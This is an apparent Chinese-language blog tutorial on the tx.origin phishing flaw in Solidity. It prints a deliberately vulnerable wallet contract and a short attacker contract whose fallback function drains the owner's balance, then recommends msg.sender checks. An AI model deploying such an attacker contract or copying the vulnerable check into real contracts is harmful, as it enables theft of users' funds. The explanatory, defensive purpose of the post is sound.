solidity智能合约中tx.origin的正确使用场景

简介: solidity智能合约中tx.origin的正确使用场景

简介

tx.origin是Solidity的一个全局变量,它遍历整个调用栈并返回最初发送调用(或事务)的帐户的地址。在智能合约中使用此变量进行身份验证会使合约容易受到类似网络钓鱼的攻击。


但针对tx.origin的使用并不用谈虎色变,正确的使用还是有它的应用场景的。


漏洞详解

漏洞合约

在如下合约中使用到了tx.origin的判断。


pragma solidity ^0.4.11;
// 不要使用这个合约,其中包含一个 bug。
contract TxUserWallet {
    address owner;
    function TxUserWallet() public {
        owner = msg.sender;
    }
    function transferTo(address dest, uint amount) public {
        require(tx.origin == owner);
        dest.transfer(amount);
    }
}

上面的合约提供了构造函数(新版本中使用constructor)和转账方法。其中在转账方法transferTo中进行了owner的判断,这里用到了tx.origin。

攻击者合约

下面看一下攻击者的合约:

pragma solidity ^0.4.11;
interface TxUserWallet {
    function transferTo(address dest, uint amount) public;
}
contract TxAttackWallet {
    address owner;
    function TxAttackWallet() public {
        owner = msg.sender;
    }
    function () public {
        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
    }
}

攻击者创建一个上面的合约,然后通过各种骗术来欺骗你用正常合约(TxUserWallet)的拥有者的地址向该攻击合约(TxAttackWallet)转账。然后区块链会默认调用攻击合约的fallback方法,也就是最后没有方法名的方法,并执行转账操作。


而此时TxUserWallet合约里面的校验是可以正常通过的。因为tx.origin是最初发起交易的地址,也就是合约拥有者的地址。然后,地址里面的ether便被转到攻击者地址中。


使用提醒

tx.origin不应该用于智能合约的授权。更多的时候采用msg.sender == owner来进行判断。


但它也有自己使用的场景,比如想要拒绝外部合约调用当前合约则可使用require(tx.origin ==msg.sender)来进行实现。


目录
相关文章
|
存储 Linux
Linux 配置 multipath 多路径
通常 Linux 主机挂载存储盘时,每次重启后对应的 /dev/sd* 都会变,而且不好辨识! 这时可以通过 multipath 多路径来绑定磁盘!
|
安全 网络协议 网络安全
|
1月前
|
存储 弹性计算 人工智能
阿里云服务器收费项目及收费标准解析,实例、存储、带宽最新收费标准
本文汇总了阿里云ECS最新收费标准,涵盖实例、块存储和带宽三大核心项目。实例方面,第九代c9i/g9i/r9i及AMD c8a等规格支持按量付费与包年包月(1/3/5年),如2核4G的c9i按量0.3873元/小时,包年5年低至3569.48元;96核192GiB的c8a包年5年约11.7万元。块存储ESSD AutoPL系统盘按量0.0021元/GiB/小时,包年1年约7.2-10.2元/GiB。带宽提供固定带宽和按流量两种模式,1Mbps按量0.0625元/小时,包年1年234.6元。整体来看,包年周期越长折扣越大,用户可根据业务需求灵活选择计费方式,实现成本最优。
|
2月前
|
弹性计算 安全 Linux
2026年阿里云服务器选型与网站部署全攻略:从服务器选型、配置到上线一站式指南
2026年阿里云服务器生态已形成轻量应用服务器与ECS云服务器两大核心体系,适配个人博客、企业官网、电商平台、应用开发等全场景建站需求。本文从服务器选型、配置选择、网站部署全流程、安全与运维优化四大维度,提供2026年最新实操指南,帮助用户精准选型、高效建站、稳定上线。
683 3
|
7月前
|
数据安全/隐私保护
银河麒麟V10安装glib2-devel-2.62.5-7.ky10.x86_64.rpm详细步骤
下载安装包并上传至服务器,进入存放目录,使用`yum`或`dnf`命令安装`glib2-devel`,注意需加`./`指定本地文件。安装后通过`rpm -qa | grep glib2-devel`验证是否成功。
|
SQL 分布式计算 算法
【python】python指南(三):使用正则表达式re提取文本中的http链接
【python】python指南(三):使用正则表达式re提取文本中的http链接
635 0
|
Linux iOS开发 MacOS
一日一技:如何防止 Homebrew 自动升级和自动清理过期程序
一日一技:如何防止 Homebrew 自动升级和自动清理过期程序
934 0
|
安全 定位技术 Android开发
【定位不准的烦心事系列】第1篇:谈谈卫星定位的位置干扰
卫星定位欺骗,或者位置干扰,是通过地面上的卫星伪基站广播定位信号,让周边的定位设备误以为接受到了真实的定位信号,从而将定位结果设置为干扰者预设的一个位置。
out_trade_no商户订单号参数详解-参数解读系列
说明 out_trade_no,商户订单号,64个字符以内,可以包含字母、数字、下划线;需保证在商户端不重复。 这个参数是对接支付宝支付接口的商户自己定义传值的一个参数,商户需要保证这个参数不会重复,所以不能使用同一个订单号去请求接口,当然交易未在支付宝这边创建是可以使用相同订单号去请求的,不同接口交易创建的时机各有不同,下面就详细介绍各个接口如何配置订单号(JAVA代码示例)、及已存在支付成功的交易再用相同订单号去请求所报的错误。
5201 12

热门文章

最新文章